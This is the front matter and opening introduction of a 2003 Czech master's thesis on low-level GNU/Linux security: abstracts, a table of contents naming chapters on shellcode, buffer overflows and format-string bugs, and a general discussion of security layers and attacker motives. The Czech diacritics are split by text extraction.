CˇESKE´ VYSOKE´ UCˇENI´ TECHNICKE´ Fakulta elektrotechnicka´ Katedra pocˇ´ıtacˇu˚
´ PRA ´ CE DIPLOMOVA Nı´zkou´rovnˇova´ bezpecˇnost v GNU/Linux syste´mu
Praha, 2003
Miroslav Dobsˇ´ıcˇek
Cˇestne´ prohla´sˇenı´ Prohlasˇuji, zˇe jsem svou diplomovou pra´ci vypracoval samostatneˇ a pouzˇil jsem pouze podklady (literaturu, projekty, programove´ vybavenı´ atd.) uvedene´ v prˇilozˇene´m seznamu. Nema´m za´vazˇny´ du˚vod proti uzˇitı´ tohoto sˇkolnı´ho dı´la ve smyslu § 60 Za´kona cˇ.121/2000 Sb. , o pra´vu autorske´m a o pra´vech souvisejı´cı´ch s pra´vem autorsky´m. Copyright (c) 2003 Miroslav Dobsˇ´ıcˇek. Je dovoleno kopı´rovat, sˇ´ıˇrit a/nebo modifikovat tento dokument za podmı´nek licence GNU FDL, verze 1.2 nebo vysˇsˇ´ıch publikovany´ch nadacı´ Free Software Foundation. Kopie licence je dostupna´ na adrese http://www.gnu.org/licenses/fdl.txt. Toto dovolenı´ je platne´ pouze pro sta´ty, kde obsah dı´la dany´ jeho na´zvem nenı´ v rozporu se za´konem.
Me´ podeˇkova´nı´ patrˇ´ı ing. Radimu Ballnerovi za obeˇtavou pomoc se vsˇemi teˇzˇkostmi, ktere´ meˇ prˇi vzniku diplomove´ pra´ce potkaly. Pra´ce pod jeho vedenı´m byla radostı´ a inspiracı´ do dalsˇ´ıch etap zˇivota. Deˇkuji.
Praze dne 17.4.2003
Miroslav Dobsˇ´ıcˇek
Za´sady pro vypracova´nı´ Analyzujte pozadı´ u´toku˚ vedoucı´ch k neopra´vneˇne´mu prˇevzetı´ spra´vy operacˇnı´ho syste´mu GNU/Linux. Zejme´na detailneˇ uvazˇujte du˚sledky plynoucı´ z neexistujı´cı´ kontroly mezı´ polı´ v jazyce C s ohledem na usporˇa´da´nı´ pameˇti procesu. Zjisˇteˇne´ poznatky ukazˇte na na´zorny´ch prˇ´ıkladech. Zdrojove´ texty prˇ´ıkladu˚ necht’jsou samostatneˇ dostupne´ na CD disku v prˇ´ıloze diplomove´ pra´ce.
Anotace Diplomova´ pra´ce analyzuje pozadı´ u´toku˚ na operacˇnı´ syste´m GNU/Linux. Postupneˇ na´s seznamuje s implementacı´ chra´neˇne´ho adresnı´ho prostoru procesu v linuxove´m ja´drˇe. Vyuzˇitı´m chyb, ktere´ mohou vzniknout prˇi programova´nı´ v jazyce C, je mozˇne´ prˇepsat data v pameˇti a spustit externı´ ko´d, ktery´ nenı´ soucˇa´stı´ aplikace. Nutnou podmı´nkou u´speˇchu je znalost adres klı´cˇovy´ch dat souvisejı´cı´ch s beˇhem procesu. V urcˇity´ch prˇ´ıpadech mu˚zˇe dokonce dojı´t k zı´ska´nı´ administra´torsky´ch pravomocı´ a ovla´dnutı´ cele´ho operacˇnı´ho syste´mu. Mezi nejcˇasteˇjsˇ´ı programa´torske´ chyby, prˇi psanı´ programu˚ v jazyce C, patrˇ´ı za´pis mimo meze alokovane´ pameˇt’ove´ oblasti a sˇpatne´ pouzˇitı´ forma´tovacı´ho ˇreteˇzce u funkcı´ pro pra´ci s ˇreteˇzci. Nejcˇasteˇji spousˇteˇny´m externı´m ko´dem je prˇ´ıkazovy´ interpret. Po du˚kladne´m studiu principu˚ a du˚sledku˚ chyb prˇi programova´nı´ v jazyce C je veˇnova´n prostor mozˇnostem omezenı´ vzniku chyb a snizˇova´nı´ rizik mozˇny´ch na´sledku˚.
Annotation This master thesis analyzes the background of attacks on operating system GNU/Linux. Sequentally we are acquinted with the implementation of protected process’ address space in linux kernel. By exploiting bugs, which might have been made in programs written in C language, it is possible to overwrite data in the memory and to execute an external code. To succede in exploiting it is necessary to acquire the knowledge of addresses of critical process’ data. Under special circumstances it is even possible to gain authority of system administrator and to control the whole operating system. There are two common bugs made while programming in C language. It is writing outside of the allocated memory space and a wrong usage of the format string in functions for strings manipulation. The most commonly used external code spawns a command intepreter. After a deep study of the principles and effects of the bugs has been made, we move on to the question how to minimalize the bugs occurance and how to reduce the bugs sequel risks.
Obsah
1
´ vod U 1.1
Procˇ GNU/Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
1.2
Bezpecˇnostnı´ vrstvy z hlediska OS . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
1.2.1
Bezpecˇnost na uzˇivatelske´ u´rovni . . . . . . . . . . . . . . . . . . . . . . .
3
1.2.2
Bezpecˇnost na aplikacˇnı´ u´rovni . . . . . . . . . . . . . . . . . . . . . . . .
3
1.2.3
Bezpecˇnost na u´rovni ja´dra . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
Nı´zkou´rovnˇova´ bezpecˇnost . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
1.3
2
3
1
Osobnı´ pocˇ´ıtacˇ
6
2.1
Von Neumannova architektura . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6
2.2
Procesory Intel ˇrady x86 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
2.3
Operacˇnı´ syste´m s linuxovy´m ja´drem . . . . . . . . . . . . . . . . . . . . . . . . . .
12
2.3.1
Virtua´lnı´ adresnı´ prostor . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13
2.3.2
Pouzˇite´ programove´ vybavenı´ . . . . . . . . . . . . . . . . . . . . . . . . .
15
Zacˇ´ına´me programovat
16
3.1
Potrˇebne´ na´stroje . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16
3.2
Za´klady assembleru . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17
i
3.3
4
5
Syntaxe AT&T . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17
3.2.2
Funkce ja´dra a knihovnı´ funkce . . . . . . . . . . . . . . . . . . . . . . . .
18
3.2.3
Prˇehled du˚lezˇity´ch vola´nı´ ja´dra . . . . . . . . . . . . . . . . . . . . . . . . .
20
3.2.4
Rozdı´ly syste´mu FreeBSD . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
Assembler vkla´dany´ do jazyka C . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
3.3.1
22
Rozsˇ´ıˇreny´ vkla´dany´ assembler . . . . . . . . . . . . . . . . . . . . . . . . .
Ochrana ko´du - antidebugging
25
4.1
Falesˇny´ disassembler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
25
4.2
Falesˇne´ breakpointy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
27
4.3
Za´kaz trasova´nı´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
29
Zacˇ´ına´me se bra´nit
30
5.1
Prostrˇedı´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
5.2
Cˇasoveˇ za´visle´ chyby - race conditions . . . . . . . . . . . . . . . . . . . . . . . . .
31
5.2.1
Za´mky souboru˚ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
32
5.2.2
Vytva´ˇrenı´ docˇasny´ch souboru˚ . . . . . . . . . . . . . . . . . . . . . . . . .
33
Nebezpecˇna´ funkce system() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
34
5.3
6
3.2.1
Shellko´d
38
6.1
Prostrˇedı´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
6.1.1
Za´sobnı´k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
6.1.2
Proces v pameˇti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
40
6.2
Provedenı´ funkce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
42
6.3
Nestandardnı´ vyuzˇitı´ registru EBP . . . . . . . . . . . . . . . . . . . . . . . . . . .
45
ii
6.4
7
45
6.4.1
Genericky´ shellko´d typu Aleph one . . . . . . . . . . . . . . . . . . . . . .
45
6.4.2
Genericky´ shellko´d typu Netric . . . . . . . . . . . . . . . . . . . . . . . .
51
6.4.3
Shellko´dy neza´visle´ na OS . . . . . . . . . . . . . . . . . . . . . . . . . . .
53
6.4.4
Shellko´dy neza´visle´ na architekturˇe . . . . . . . . . . . . . . . . . . . . . .
53
6.4.5
Alfanumericky´ shellko´d . . . . . . . . . . . . . . . . . . . . . . . . . . . .
56
6.4.6
Polymorfnı´ shellko´dy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
61
6.4.7
Bindshell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
62
Buffer overflow - za´pis mimo meze pole
65
7.1
´ vod . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . U
65
7.2
Cı´love´ oblasti za´pisu mimo meze . . . . . . . . . . . . . . . . . . . . . . . . . . . .
68
7.3
Prˇehled mozˇny´ch du˚sledku˚ za´pisu mimo meze . . . . . . . . . . . . . . . . . . . . .
71
7.3.1
Posˇkozova´nı´ dat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
71
7.3.2
Spousˇteˇnı´ externı´ho ko´du . . . . . . . . . . . . . . . . . . . . . . . . . . . .
71
7.3.3
Spousˇteˇnı´ funkcı´ definovany´ch v ra´mci programu . . . . . . . . . . . . . . .
73
7.3.4
Spousˇteˇnı´ funkcı´ z dynamicky linkovany´ch knihoven . . . . . . . . . . . . .
73
Vzorove´ prˇ´ıklady . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
74
7.4.1
Prˇepsa´nı´ na´vratove´ adresy funkce . . . . . . . . . . . . . . . . . . . . . . .
74
7.4.2
Prˇepsa´nı´ ukazatele na funkci . . . . . . . . . . . . . . . . . . . . . . . . . .
77
7.4.3
Prˇepsa´nı´ struktury jmp buf . . . . . . . . . . . . . . . . . . . . . . . . . . .
81
7.4
8
Tvorba shellko´du . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Chyby prˇi forma´tova´nı´ rˇeteˇzce
84
8.1
´ vod . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . U
84
8.2
Za´pis do pameˇti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
85
iii
8.3
9
Vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce . . . . . . . . . . . . . . . . . . . . . . . . . .
86
8.3.1
Bez zada´nı´ cı´love´ adresy . . . . . . . . . . . . . . . . . . . . . . . . . . . .
86
8.3.2
Se zada´nı´m cı´love´ adresy . . . . . . . . . . . . . . . . . . . . . . . . . . . .
88
Detekce chyb a obrana
92
9.1
Vylepsˇenı´ programa´torske´ho stylu . . . . . . . . . . . . . . . . . . . . . . . . . . .
92
9.2
Staticka´ kontrola zdrojove´ho textu . . . . . . . . . . . . . . . . . . . . . . . . . . .
93
9.2.1
LCLint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
93
Omezene´ prostrˇedı´ a dynamicka´ kontrola programu . . . . . . . . . . . . . . . . . .
95
9.3.1
Dynamicka´ detekce chyb programu . . . . . . . . . . . . . . . . . . . . . .
96
9.3.2
Modifikace kompila´toru . . . . . . . . . . . . . . . . . . . . . . . . . . . .
96
9.3.3
Modifikace knihovnı´ch funkcı´ . . . . . . . . . . . . . . . . . . . . . . . . .
97
9.3.4
Modifikace ja´dra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
97
9.3
10 Za´veˇr
101
A ELF forma´t a jeho zavedenı´ do pameˇti
i
A.1 Struktura hlavicˇek . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ii
A.2 Zavedenı´ programu do pameˇti . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
ix
A.3 Pru˚beˇh dynamicke´ho linkova´nı´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
xii
A.4 Souhrne´ vlastnosti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
xiii
iv
Seznam obra´zku˚ 1.1
Vrstvy operacˇnı´ho syste´mu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
1.2
Vola´nı´ funkce ja´dra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.1
Prˇevod mezi dvojkovou a sˇestna´ctkovou soustavou . . . . . . . . . . . . . . . . . .
6
2.2
Selektor segmentu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8
2.3
Prˇeklad adresy v chra´neˇne´m rezˇimu procesoru s povoleny´m stra´nkova´nı´m . . . . . .
9
2.4
Prˇ´ıklad obsahu segmentovy´ch registru˚ na linuxove´m ja´drˇe . . . . . . . . . . . . . .
9
2.5
Prˇeklad adresy v rea´lne´m mo´du procesoru . . . . . . . . . . . . . . . . . . . . . . .
10
2.6
Za´kladnı´ registry procesoru z ˇrady x86 . . . . . . . . . . . . . . . . . . . . . . . . .
11
2.7
Porˇadı´ bytu˚ a bitu˚ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
2.8
Ulozˇenı´ cˇ´ısla na architektura´ch ”little-endian”. Vsˇechna cˇ´ısla jsou uvedena v hexadecima´lnı´ soustaveˇ. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
2.9
Deskriptor segmentu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14
3.1
Pouzˇitı´ vola´nı´ ja´dra na programu ”Ahoj sveˇte” . . . . . . . . . . . . . . . . . . . . .
19
3.2
Pouzˇiti knihovnı´ch funkcı´ libc na programu ”Ahoj sveˇte” . . . . . . . . . . . . . . .
19
3.3
Rozdı´l ve vola´nı´ funkcı´ ja´dra na FreeBSD oproti Linuxu . . . . . . . . . . . . . . .
21
3.4
Jednoduchy´ vkla´dany´ assembler do jazyka C . . . . . . . . . . . . . . . . . . . . .
21
3.5
Rozsˇ´ıˇreny´ vkla´dany´ assembler do jazyka C . . . . . . . . . . . . . . . . . . . . . .
22
v
3.6
Zmeˇneˇna obsahu registru˚ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
23
3.7
Velmi rychle´ na´sobenı´ 5ti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
23
3.8
Zı´ska´nı´ pocˇtu provedeny´ch cyklu˚ procesoru . . . . . . . . . . . . . . . . . . . . . .
24
4.1
Ochrana pomocı´ falesˇne´ disassemblace . . . . . . . . . . . . . . . . . . . . . . . . .
26
4.2
Disassemblace antidebug1.c bez ochrany . . . . . . . . . . . . . . . . . . . . . . . .
26
4.3
Falesˇny´ disassembler . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
27
4.4
Zaka´za´nı´ breakpointu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
28
4.5
Nastavenı´ falesˇne´ho breakpointu . . . . . . . . . . . . . . . . . . . . . . . . . . . .
28
4.6
Za´kaz trasova´nı´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
29
5.1
Cˇasoveˇ za´visle´ chyby . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
5.2
Oprava cˇasoveˇ za´visle´ chyby . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
32
5.3
Doporucˇovana´ tvorba docˇasne´ho souboru . . . . . . . . . . . . . . . . . . . . . . .
35
5.4
Nebezpecˇna´ funkce system() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
35
5.5
Na´hrada funkce system() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
37
5.6
Zabezpecˇenı´ prostrˇedı´ prˇi vola´nı´ system() . . . . . . . . . . . . . . . . . . . . . . .
37
6.1
Adresy jednotlivy´ch promeˇnny´ch v pameˇti . . . . . . . . . . . . . . . . . . . . . . .
41
6.2
Proces v pameˇti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
42
6.3
Prˇ´ıklad na vola´nı´ funkcı´ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
43
6.4
Za´sobnı´k a vola´nı´ funkce I. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
43
6.5
Za´sobnı´k a vola´nı´ funkce II. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
44
6.6
Za´sobnı´k a vola´nı´ funkce III. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
44
6.7
Spusˇteˇnı´ shellu v jazyce C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
46
vi
6.8
Disassemblace shellkod3.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
46
6.9
Zı´ska´nı´ adresy ˇreteˇzce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
47
6.10 Pole s ˇreteˇzcem ”/bin/sh” a ukazateli . . . . . . . . . . . . . . . . . . . . . . . . . .
47
6.11 Shellko´d – assembler vkla´dany´ do jazyka C . . . . . . . . . . . . . . . . . . . . . .
48
6.12 Disassemblace shellkod4.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
49
6.13 Test shellko´du . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
51
6.14 Shellko´d typu Netric . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
52
6.15 Disassemblace shellko´du Netric . . . . . . . . . . . . . . . . . . . . . . . . . . . .
53
6.16 Uka´zka OS neza´visle´ho shellko´du pro Linux a FreeBSD . . . . . . . . . . . . . . .
54
6.17 Uka´zka vı´ceplatformnı´ho shellko´du . . . . . . . . . . . . . . . . . . . . . . . . . .
56
6.18 Obecny´ forma´t instrukce pro x86 . . . . . . . . . . . . . . . . . . . . . . . . . . . .
57
6.19 Struktura ModR/M bytu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
57
6.20 Struktura SIB bytu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
57
6.21 Alfanumericke´ opko´dy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
58
6.22 Mozˇnosti ModR/M bytu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
59
6.23 Mozˇnosti SIB bytu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
59
6.24 Alfanumericky´ ko´d - prˇecˇetni bytu z pameˇti . . . . . . . . . . . . . . . . . . . . . .
60
6.25 Struktura za´sobniku po spusˇteˇnı´ alfanumericke´ho shellko´du . . . . . . . . . . . . . .
60
6.26 Minimalizovany´ bindshell v jazyce C . . . . . . . . . . . . . . . . . . . . . . . . .
63
6.27 Dvojskok prˇi dlouhe´m bindshellu . . . . . . . . . . . . . . . . . . . . . . . . . . . .
64
7.1
Pameˇt’ove´ u´seky v oblasti haldy
. . . . . . . . . . . . . . . . . . . . . . . . . . . .
66
7.2
Uka´zka za´pisu mimo meze pole . . . . . . . . . . . . . . . . . . . . . . . . . . . .
67
7.3
Stav na za´sobnı´ku po inicializaci promeˇnny´ch prˇ´ıkladu buffer1.c . . . . . . . . . . .
68
vii
7.4
Prˇ´ımy´ a neprˇ´ımy´ za´pis mimo meze . . . . . . . . . . . . . . . . . . . . . . . . . . .
68
7.5
Deklarace funkcı´ v konstruktoru a destruktoru programu . . . . . . . . . . . . . . .
72
7.6
Prˇepsa´nı´ na´vratove´ adresy funkce na adresu ko´du z dynamicky linkovane´ knihovny .
74
7.7
Ko´d umozˇnˇujı´cı´ prˇ´ımy´ za´pis mimo meze na za´sobnı´ku . . . . . . . . . . . . . . . .
75
7.8
Pevne´ adresy na za´sobnı´ku . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
75
7.9
Vyuzˇitı´ chyby v programu buffer2.c . . . . . . . . . . . . . . . . . . . . . . . . . .
76
7.10 Ko´d umozˇnˇujı´cı´ neprˇ´ımy´ za´pis mimo meze . . . . . . . . . . . . . . . . . . . . . .
77
7.11 Situace ve virtua´lnı´m pameˇtove´m prostoru programu buffer3.c . . . . . . . . . . . .
78
7.12 Cˇa´st vy´pisu disassemblace programu buffer3
. . . . . . . . . . . . . . . . . . . . .
79
7.13 Vyuzˇitı´ chyby v programu buffer3.c . . . . . . . . . . . . . . . . . . . . . . . . . .
80
7.14 Ko´d umozˇnˇujı´cı´ prˇetecˇenı´ za´sobnı´ku III . . . . . . . . . . . . . . . . . . . . . . . .
82
7.15 Situace v sekci .bss u programu buffer4.c . . . . . . . . . . . . . . . . . . . . . . .
82
7.16 Vyuzˇitı´ chyby v programu buffer4.c . . . . . . . . . . . . . . . . . . . . . . . . . .
83
8.1
Uka´zkove´ forma´tova´nı´ ˇreteˇzce . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
84
8.2
Program s chybny´m forma´tova´nı´m ˇreteˇzce . . . . . . . . . . . . . . . . . . . . . . .
85
8.3
Vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce I . . . . . . . . . . . . . . . . . . . . . . . . .
87
8.4
Situace na za´sobnı´ku prˇ´ıkladu string3.c . . . . . . . . . . . . . . . . . . . . . . . .
87
8.5
Vyuzˇitı´ chyby forma´tovacı´ho ˇreteˇzce II . . . . . . . . . . . . . . . . . . . . . . . . .
88
8.6
Situace na za´sobnı´ku programu string4.c . . . . . . . . . . . . . . . . . . . . . . . .
89
8.7
Vyuzˇitı´ chyby v programu string4.c . . . . . . . . . . . . . . . . . . . . . . . . . . .
91
9.1
Staticka´ detekce chyb programem LCLint . . . . . . . . . . . . . . . . . . . . . . .
94
9.2
Anotace funkce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
95
viii
A.1 Dva ru˚zne´ pohledy na soubor ve forma´tu ELF . . . . . . . . . . . . . . . . . . . . .
ii
A.2 Zavedenı´ segmentu˚ programu do pameˇti . . . . . . . . . . . . . . . . . . . . . . . .
v
A.3 Situace na za´sobnı´ku teˇsneˇ prˇed spusˇteˇnı´m programu . . . . . . . . . . . . . . . . .
x
A.4 Resolvace symbolu a relokace . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
xiv
ix
Kapitola 1
U´vod Pocˇ´ıtacˇe se staly kazˇdodennı´ soucˇa´stı´ nasˇeho zˇivota. Vyuzˇ´ıvajı´ je nejen spolecˇnosti, ale take´ velky´ pocˇet jednotlivcu˚. Vize z minule´ho stoletı´ o digita´lneˇ propojene´ spolecˇnosti se sta´vajı´ realitou, zejme´na v technicky vyspeˇly´ch cˇa´stech sveˇta. Pocˇ´ıtacˇe sta´le vı´ce poma´hajı´ ve vsˇech oblastech lidske´ cˇinnosti. Teˇzˇko si lze dnes prˇedstavit bankovnı´ syste´m cˇi veˇdecky´ vy´pocˇet bez asistence pocˇ´ıtacˇe. S tı´m prˇicha´zı´ i fakt, zˇe jsme odka´za´ni na du˚veˇryhodnost dat, ktera´ na´m pocˇ´ıtacˇe prˇedkla´dajı´ a ktera´ jsme jim sveˇˇrili. Osobnı´ pocˇ´ıtacˇ PC jizˇ od sve´ho vzniku smeˇˇroval k co nejveˇtsˇ´ım mozˇnostem rozsˇirˇova´nı´ a univerza´lnosti. Tento trend s sebou nesl urcˇitou koncepci otevrˇenosti, standardizace a jednoduchosti. Na bezpecˇnost dat a pocˇ´ıtacˇe jako celku se pohlı´zˇelo azˇ v druhe´ ˇradeˇ. Velky´m du˚kazem jsou naprˇ. dodnes pouzˇ´ıvane´ sı´t’ove´ protokoly jako telnet cˇi POP. Data i hesla oveˇˇrujı´cı´ identitu jsou posı´la´na v cˇisteˇ textove´ formeˇ a mohou by´t pomeˇrneˇ snadno zachycena nezˇa´doucı´ osobou. V dobeˇ na´vrhu pravdeˇpodobneˇ nikdo netusˇil, jake´ mnozˇstvı´ informacı´ se bude na pocˇ´ıtacˇi zpracova´vat. Informacı´, ktere´ mohou znamenat moc, penı´ze, veˇdomosti i utrpenı´. Z problematiky spolehlivosti pocˇ´ıtacˇu˚ se postupneˇ vycˇlenil obor pocˇ´ıtacˇove´ bezpecˇnosti. Pocˇ´ıtacˇova´ bezpecˇnost je obor, ktery´ se zaby´va´ ochranou informacı´ prˇed neopra´vneˇny´m prˇ´ıstupem. Zapocˇ´ıta´na je ochrana prˇed pocˇ´ıtacˇovy´mi viry, neodbornou obsluhou a zlodeˇji (naprˇ. sˇpiona´zˇ vedena´ konkurencˇnı´ firmou). Cı´lem te´to diplomove´ pra´ce je vysveˇtlit technicke´ pozadı´ u´toku na pocˇ´ıtacˇovy´ syste´m. Z cˇa´sti se jedna´ o neˇktere´ du˚sledky na´vrhu operacˇnı´ho syste´mu, z cˇa´sti o du˚sledky tvorby programu˚ v jazyce C. V za´veˇru pra´ce jsou uvedeny mozˇnosti omezenı´ vzniku chyb a snizˇova´nı´ rizik mozˇny´ch na´sledku˚. Jsem ra´d, zˇe znalosti uvedene´ v te´to diplomove´ pra´ci mohu publikovat v akademicke´m prostrˇedı´ pocˇ´ıtacˇovy´ch odbornı´ku˚. Prˇa´l bych si, aby tato diplomova´ pra´ce prˇispeˇla k veˇtsˇ´ı osveˇteˇ a otevrˇenosti v pocˇ´ıtacˇove´ bezpecˇnosti.
1
1.1 Procˇ GNU/Linux V soucˇasne´ dobeˇ jsou nejvı´ce rozsˇ´ıˇreny osobnı´ pocˇ´ıtacˇe s procesory ˇrady x86 od firmy Intel a kompatibilnı´. Budeme se tedy veˇnovat bezpecˇnosti na te´to platformeˇ. Operacˇnı´m syste´mem bude GNU s linuxovy´m ja´drem. Du˚vodu˚ je hned neˇkolik. Syste´my na ba´zi GNU/Linux jsou nynı´ velmi popula´rnı´. Jedna´ se o otevrˇeny´ software1 s mozˇnostı´ pouzˇ´ıva´nı´ zdarma. Protozˇe je velmi stabilnı´, jizˇ dlouho se pouzˇ´ıva´ na serverech. V poslednı´ dobeˇ dosˇlo k prudke´mu na´ru˚stu uzˇivatelske´ za´kladny a tento OS 2 se zacˇ´ına´ pouzˇ´ıvat i na kancela´ˇrske´ aplikace a hry. K dispozici je zdrojovy´ ko´d od vsˇech jeho cˇa´stı´, cozˇ na´m umozˇnı´ studium azˇ do teˇch nejmensˇ´ıch detailu˚.
1.2 Bezpecˇnostnı´ vrstvy z hlediska OS O bezpecˇnosti operacˇnı´ho syste´mu mu˚zˇeme mluvit na u´rovni jednotlivy´ch vrstev, ze ktery´ch se operacˇnı´ syste´m skla´da´. Budeme se drzˇet na´kresu vrstev podle obra´zku 1.1.
P
Uživatelské rozhraní
Procesy superuživatele (root)
Rozhraní knihovních funkcí
.QRTSQ1+0U%U&(VR,"W$%&(X
Rozhraní systémových volání
Uživatel
Uživatelský režim
shell, kompilátory, editory ...
Standardní knihovny
printf, strncpy, malloc, fork, execve, read, write, open, close ...
Kernel (jádro) !"#$%&(')&*"#+,+-/.01 2 virtuální souborový systém ...
+43+5%
687(9:<;<=>9?7(@?ACB(DFE(GH@JIKH=>LMON N N
Obra´zek 1.1: Vrstvy operacˇnı´ho syste´mu 2
Hardware
1
Programy
Režim jádra
Vı´ce v odstavci 1.3 na straneˇ 5 OS – operacˇnı´ syste´m
2
1.2.1 Bezpecˇnost na uzˇivatelske´ u´rovni Na vrcholu pyramidy se nacha´zı´ uzˇivatel. Uzˇivatel s urcˇity´m cı´lem, zkusˇenostmi a ocˇeka´va´nı´m. Uzˇivatel ocˇeka´va´ spra´vneˇ nakonfigurovany´ syste´m, kdy prˇ´ıpadna´ chyba na jeho straneˇ povede vzˇdy do konzistetnı´ho stavu, ktery´ pu˚jde snadno prˇedpokla´dat. Da´le prˇedpokla´da´, zˇe program se chova´ prˇesneˇ podle dodane´ dokumentace bez vedlejsˇ´ıch u´cˇinku˚. Spra´vnou konfiguraci syste´mu ma´ na starosti jeho spra´vce. Spra´vce prova´dı´ instalaci a konfiguraci programove´ho vybavenı´, nastavuje zaznamena´va´nı´ urcˇity´ch informacı´ – tzv. logova´nı´ a prova´dı´ audit logovany´ch za´znamu˚. Da´le jednotlivy´m uzˇivatelu˚m prˇideˇluje opra´vneˇnı´ pro prˇ´ıstup k datovy´m souboru˚m a programu˚m. Spra´vce takto vytva´ˇr´ı bezpecˇnost na uzˇivatelske´ u´rovni. Nutno ˇr´ıci, zˇe pra´veˇ tato vrstva je nejslabsˇ´ım cˇla´nkem v pocˇ´ıtacˇove´ bezpecˇnosti. Du˚vodem je velka´ za´vislost na lidske´m faktoru. Spra´vce i uzˇivatele´ cˇasto mylneˇ prˇedpokla´dajı´, zˇe o jejich data nema´ nikdo za´jem. Ma´lokdo si uveˇdomuje, zˇe u´tocˇnı´k mu˚zˇe mı´t mnoho ru˚zny´ch motivu˚ pro zı´ska´nı´ kontroly nad cizı´m pocˇ´ıtacˇem: Vyuzˇitı´ dat a informacı´ – Tento cı´l je nejzna´meˇjsˇ´ı. Nejvı´ce se ty´ka´ firemnı´ch a vla´dnı´ch pocˇ´ıtacˇu˚. Vyuzˇitı´ mı´sta na pevne´m disku – U´ tocˇnı´k mu˚zˇe vyuzˇ´ıt mı´sto na vasˇem pevne´m disku pro skladova´nı´ nelega´lnı´ch kopiı´ programove´ho vybavenı´ a audio cˇi video nahra´vek. Vyuzˇitı´ vy´konu procesoru – Prolomenı´ silny´ch sˇifer vyzˇaduje vy´kon mnoha pocˇ´ıtacˇu˚. U´ tocˇnı´ci mohou k prolomenı´ sˇifry vyuzˇ´ıt vy´kon vasˇeho pocˇ´ıtacˇe. Vyuzˇitı´ sı´t’ove´ho spojenı´ – Napadeny´ pocˇ´ıtacˇ mu˚zˇe slouzˇit jako mu˚stek pro dalsˇ´ı u´tok.
